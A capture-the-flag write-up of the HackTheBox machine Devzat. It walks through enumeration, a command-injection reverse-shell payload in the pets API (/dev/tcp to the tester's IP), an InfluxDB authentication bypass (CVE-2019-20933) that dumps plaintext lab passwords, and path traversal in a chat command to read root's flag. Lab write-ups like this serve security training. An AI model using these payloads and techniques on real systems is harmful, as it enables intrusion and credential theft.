Devzat - [HTB]

Cover Image for Devzat - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Devzat is a easy-medium machine from HackTheBox that requires folder and subdomain enumeration, code analysis, influxdb knowledge, path traversal and CVE exploitation.

    Enumeration

    As always, let's start finding all opened ports in the machine with nmap.

    kali@kali:~/Documents/HTB/Devzat$ sudo nmap -v -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.118
    Nmap scan report for 10.10.11.118
    Host is up (0.12s latency).
    Not shown: 65532 closed ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    8000/tcp open  http-alt
    
    Read data files from: /usr/bin/../share/nmap
    # Nmap done at Sun Oct 17 05:42:57 2021 -- 1 IP address (1 host up) scanned in 199.78 seconds

    Then, we continue with a deeper scan of every opened port getting more information about each service.

    kali@kali:~/Documents/HTB/Devzat$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,8000 10.10.11.118
    Nmap scan report for 10.10.11.118
    Host is up (0.12s latency).
    
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
    |   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
    |_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
    80/tcp   open  http    Apache httpd 2.4.41
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Did not follow redirect to http://devzat.htb/
    8000/tcp open  ssh     (protocol 2.0)
    | fingerprint-strings: 
    |   NULL: 
    |_    SSH-2.0-Go
    | ssh-hostkey: 
    |_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
    1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
    SF-Port8000-TCP:V=7.91%I=7%D=10/17%Time=616BF069%P=x86_64-pc-linux-gnu%r(N
    SF:ULL,C,"SSH-2\.0-Go\r\n");
    Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

    As we can see above, nmap has obtained the domain devzat.htb that once added to /etc/hosts we can see how to access to an IRC chat on port 8000.

    devzat.htb

    Furthermore, we can use the username in the contact section for accessing the chat. This will provide us a chat with an administrator letting us know that an influxdb database exist somewhere in the machine.

    kali@kali:~/Documents/HTB/Devzat$ ssh -l patrick devzat.htb -p 8000
    Nickname reserved for local use, please choose a different one.
    > Patrick
    admin: Hey patrick, you there?
    patrick: Sure, shoot boss!
    admin: So I setup the influxdb for you as we discussed earlier in business meeting.
    patrick: Cool 👍
    admin: Be sure to check it out and see if it works for you, will ya?
    patrick: Yes, sure. Am on it!
    devbot: admin has left the chat
    Welcome to the chat. There are no more users
    devbot: Patrick has joined the chat
    

    Enumerating subdomains with ffuz we obtain the subdomain pets.devzat.htb.

    kali@kali:~/Documents/HTB/Devzat$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://devzat.htb/ -H "Host: FUZZ.devzat.htb" -fl 10
    
            /'___\  /'___\           /'___\       
           /\ \__/ /\ \__/  __  __  /\ \__/       
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
             \ \_\   \ \_\  \ \____/  \ \_\       
              \/_/    \/_/   \/___/    \/_/       
    
           v1.3.1
    ________________________________________________
    
     :: Method           : GET
     :: URL              : http://devzat.htb/
     :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
     :: Header           : Host: FUZZ.devzat.htb
     :: Follow redirects : false
     :: Calibration      : false
     :: Timeout          : 10
     :: Threads          : 40
     :: Matcher          : Response status: 200,204,301,302,307,401,403,405
     :: Filter           : Response lines: 10
    ________________________________________________
    
    pets                    [Status: 200, Size: 510, Words: 20, Lines: 21]
    :: Progress: [114441/114441] :: Job [1/1] :: 319 req/sec :: Duration: [0:06:03] :: Errors: 0 ::

    This new web page is a simple Pet Inventory where we can add a new pet sending its name and specie.

    Pets devzat inventory

    Enumerating its folders appears a .git, hence we can download its source code.

    kali@kali:~/Documents/HTB/Devzat$ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt  -t 60 -u http://pets.devzat.htb/FUZZ  -o ffuzPets.txt -fl 21
    
            /'___\  /'___\           /'___\       
           /\ \__/ /\ \__/  __  __  /\ \__/       
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
             \ \_\   \ \_\  \ \____/  \ \_\       
              \/_/    \/_/   \/___/    \/_/       
    
           v1.3.1
    ________________________________________________
    
     :: Method           : GET
     :: URL              : http://pets.devzat.htb/FUZZ
     :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
     :: Output file      : ffuzPets.txt
     :: File format      : json
     :: Follow redirects : false
     :: Calibration      : false
     :: Timeout          : 10
     :: Threads          : 60
     :: Matcher          : Response status: 200,204,301,302,307,401,403,405
     :: Filter           : Response lines: 21
    ________________________________________________
    
    css                     [Status: 301, Size: 40, Words: 3, Lines: 3]
    build                   [Status: 301, Size: 42, Words: 3, Lines: 3]
    server-status           [Status: 403, Size: 280, Words: 20, Lines: 10]
    .git                    [Status: 301, Size: 41, Words: 3, Lines: 3]
    :: Progress: [43003/43003] :: Job [1/1] :: 477 req/sec :: Duration: [0:01:32] :: Errors: 0 ::
    kali@kali:~/Documents/HTB/Devzat$ 
    
    

    For doing so we can use git-dumper.

    kali@kali:~/Documents/HTB/Devzat$ git-dumper http://pets.devzat.htb/.git pets
    [...]

    Analysing the file main.go, we can see that when a new pet is added it is executing a bash command passing the specie as a parameter.

    func addPet(w http.ResponseWriter, r *http.Request) {
        reqBody, _ := ioutil.ReadAll(r.Body)
        var addPet Pet 
        err := json.Unmarshal(reqBody, &addPet)
        if err != nil {
            e := fmt.Sprintf("There has been an error: %+v", err)
            http.Error(w, e, http.StatusBadRequest)
            return
        }   
    
        addPet.Characteristics = loadCharacter(addPet.Species)
        Pets = append(Pets, addPet)
    
        w.WriteHeader(http.StatusOK)
        fmt.Fprint(w, "Pet was added successfully")
    }
    func loadCharacter(species string) string {
        cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
        stdoutStderr, err := cmd.CombinedOutput()
        if err != nil {
            return err.Error()
        }
        return string(stdoutStderr)
    }

    If we intercept the request, we can send the following payload obtaining a reverse shell as Patrick.

    POST /api/pet HTTP/1.1
    Host: pets.devzat.htb
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://pets.devzat.htb/api/
    Content-Type: text/plain;charset=UTF-8
    Origin: http://pets.devzat.htb
    Content-Length: 99
    Connection: close
    
    {"name":"Marmeus","species":"$(bash -c 'bash -i >& /dev/tcp/10.10.15.118/4444 0>&1')"}
    

    Privilege Escalation 1

    Looking for listening ports we can see that the port 8086 is opened, which uses influxdb by default.

    patrick@devzat:~$ netstat -pluton
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
    tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
    tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
    tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
    tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      938/./petshop        off (0.00/0/0)
    [...]     

    We can do port forwarding with SSH using patrick's ssh private key.

    Note: Because there isn't netcat, you can download it by coping the key into the web server directory /var/www/html/assets/ and changing its permissions.

    kali@kali:~/Documents/HTB/Devzat$ ssh -i patrick.key patrick@devzat.htb -L localhost:8086:localhost:8086 

    However, we need some credentials in order to access to the database.

    kali@kali:~/Documents/HTB/Devzat/pets$ curl -G http://localhost:8086/query 
    {"error":"unable to parse authentication credentials"}

    Nonetheless, influxdb has an associated vulnerability (CVE-2019-20933) which allow bypassing the login. Plus, exist a working exploit for this particular vulnerability.

    kali@kali:~/Documents/HTB/Devzat/InfluxDB-Exploit-CVE-2019-20933$ python3 __main__.py 
      _____        __ _            _____  ____    ______            _       _ _   
     |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |  
       | |  _ __ | |_| |_   ___  __ |  | | |_) | | |__  __  ___ __ | | ___  _| |_ 
       | | | '_ \|  _| | | | \ \/ / |  | |  _ <  |  __| \ \/ / '_ \| |/ _ \| | __|
      _| |_| | | | | | | |_| |>  <| |__| | |_) | | |____ >  <| |_) | | (_) | | |_ 
     |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                                             | |                  
                                                             |_|                  
    CVE-2019-20933
    
    Insert ip host (default localhost): 
    Insert port (default 8086): 
    Insert influxdb user (wordlist path to bruteforce username): admin
    Host vulnerable !!!
    Databases list:
    
    1) devzat
    2) _internal
    
    Insert database name (exit to close): devzat

    Looking, at the documentation we can retrieve the contents of the devzat database.

    [devzat] Insert query (exit to change db): show series 
    {                                  
        "results": [                  
            {              
                "series": [            
                    {               
                        "columns": [   
                            "key"                                                  
                        ],            
                        "values": [                                                
                            [            
                                "user"
                            ]             
                        ]                                                          
                    }                
                ],                                                                 
                "statement_id": 0                                                  
            }                           
        ]                     
    }
    [devzat] Insert query (exit to change db): SELECT * FROM "user"                                                                           
    {
        "results": [                  
            {    
                "series": [           
                    {
                        "columns": [  
                            "time",
                            "enabled",
                            "password",
                            "username"
                        ],
                        "name": "user",
                        "values": [
                            [
                                "2021-06-22T20:04:16.313965493Z",
                                false,
                                "WillyWonka2021",
                                "wilhelm"
                            ],
                            [
                                "2021-06-22T20:04:16.320782034Z",
                                true,
                                "woBeeYareedahc7Oogeephies7Aiseci",
                                "catherine" 
                            ],
                            [
                                "2021-06-22T20:04:16.996682002Z",
                                true,
                                "RoyalQueenBee$",
                                "charles"
                            ]
                        ]
                    }
    
    

    Between all the users, we get catherine's credentials obtaining the user flag.

    patrick@devzat:/tmp$ su catherine
    Password: woBeeYareedahc7Oogeephies7Aiseci
    catherine@devzat:/tmp$ cd
    catherine@devzat:~$ cat user.txt
    [CENSORED]

    Privilege Escalation 2

    Now, if we access to the IRC server as catherine once we are inside the machine; we obtain the following chat with patrick.

    catherine@devzat:/tmp$ ssh -l catherine localhost -p 8000
    patrick: Hey Catherine, glad you came.
    catherine: Hey bud, what are you up to?
    patrick: Remember the cool new feature we talked about the other day?
    catherine: Sure
    patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
    catherine: Kinda busy right now 👔
    patrick: That's perfectly fine 👍  You'll need a password I gave you last time.
    catherine: k
    patrick: I left the source for your review in backups.
    catherine: Fine. As soon as the boss let me off the leash I will check it out.
    patrick: Cool. I am very curious what you think of it. See ya!
    devbot: patrick has left the chat
    Welcome to the chat. There are no more users
    devbot: catherine has joined the chat
    

    Looking for those backups we can obtain patrick's password.

    catherine@devzat:~$ find / -type f -user catherine -or -group catherine 2>/dev/null
    [...]
    /var/backups/devzat-main.zip
    /var/backups/devzat-dev.zip
    catherine@devzat:~$ cd /tmp/
    catherine@devzat:/tmp$ unzip /var/backups/devzat-main.zip
    catherine@devzat:/tmp$ unzip /var/backups/devzat-dev.zip
    catherine@devzat:/tmp$ diff -R main/ dev
    diff -r main/commands.go dev/commands.go 
    >    file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil} 
    [...]
    >                             
    > func fileCommand(u *user, args []string) {
    >   if len(args) < 1 {                 
    >    u.system("Please provide file to print and the password")                                                                             [...]
    >   // Check my secure password
    >   if pass != "CeilingCatStillAThingIn2021?" {
    >    u.system("You did provide the wrong password")
    >    return
    >   }
    [...]
    diff -r main/devchat.go dev/devchat.go
    27c27
    <   port = 8000
    ---
    >   port = 8443
    114c114
    
    

    Moreover, we can see that the dev server has a new command and it is listening on port 8443 which is being executed by root.

    patrick@devzat:~$ ps aux | grep devchat
    root         915  0.0  0.6 1159648 12212 ?       Sl   00:58   0:00 ./devchat
    patrick      937  0.0  0.5 1159648 11852 ?       Sl   00:58   0:00 ./devchat
    patrick   252830  0.0  0.0   6432   672 pts/0    S+   19:59   0:00 grep --color=auto devchat

    Analysing, its code we can see that the file command is vulnerable to path traversal allowing us to retrieve the root's flag.

    catherine@devzat:/tmp$ cat dev/commands.go 
    		// Get CWD
            cwd, err := os.Getwd()
            if err != nil {
                    u.system(err.Error())
            }
    
            // Construct path to print
            printPath := filepath.Join(cwd, path)
    
            // Check if file exists
            if _, err := os.Stat(printPath); err == nil {
                    // exists, print
                    file, err := os.Open(printPath)
                    if err != nil {
                            u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
                            return
                    }
                    defer file.Close()
    
                    scanner := bufio.NewScanner(file)
                    for scanner.Scan() {
                            u.system(scanner.Text())
                    }

    At first we can not access to the server because we need some public key, but this can be resolved quickly by generating a new one.

    catherine@devzat:~$ ssh -l marmeus localhost 8443
    The authenticity of host 'localhost (127.0.0.1)' can't be established.
    ECDSA key fingerprint is SHA256:0rsaIiCqLD9ELa+kVyYB1zoufcsvYtVR7QKaYzUyC0Q.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
    marmeus@localhost: Permission denied (publickey).
    
    catherine@devzat:~$ ssh-keygen 
    Generating public/private rsa key pair.
    Enter file in which to save the key (/home/catherine/.ssh/id_rsa): 
    Enter passphrase (empty for no passphrase): 
    Enter same passphrase again: 
    Your identification has been saved in /home/catherine/.ssh/id_rsa
    Your public key has been saved in /home/catherine/.ssh/id_rsa.pub
    The key fingerprint is:
    SHA256:3iKHsiHe1bS3NNGqfncK3wvDpVLu1r5iYIqNyN2arGE catherine@devzat
    The key's randomart image is:
    +---[RSA 3072]----+
    |                 |
    |                 |
    |                 |
    |           .     |
    |        S . o .  |
    |       = oo* o   |
    |  ..Eo+=*oO.*.   |
    | . +oB+++=.B=+o  |
    |  . +.+oo..++==o |
    +----[SHA256]-----+

    Finally, accessing once again and executing the new command we can obtain the root flag.

    catherine@devzat:~$ ssh -l marmeus localhost -p 8443
    Warning: Permanently added '[localhost]:8443' (ED25519) to the list of known hosts.
    Welcome to the chat. There are no more users
    devbot: marmeus has joined the chat
    marmeus: /file ../../../../../root/root.txt CeilingCatStillAThingIn2021?
    [SYSTEM] [CENSORED]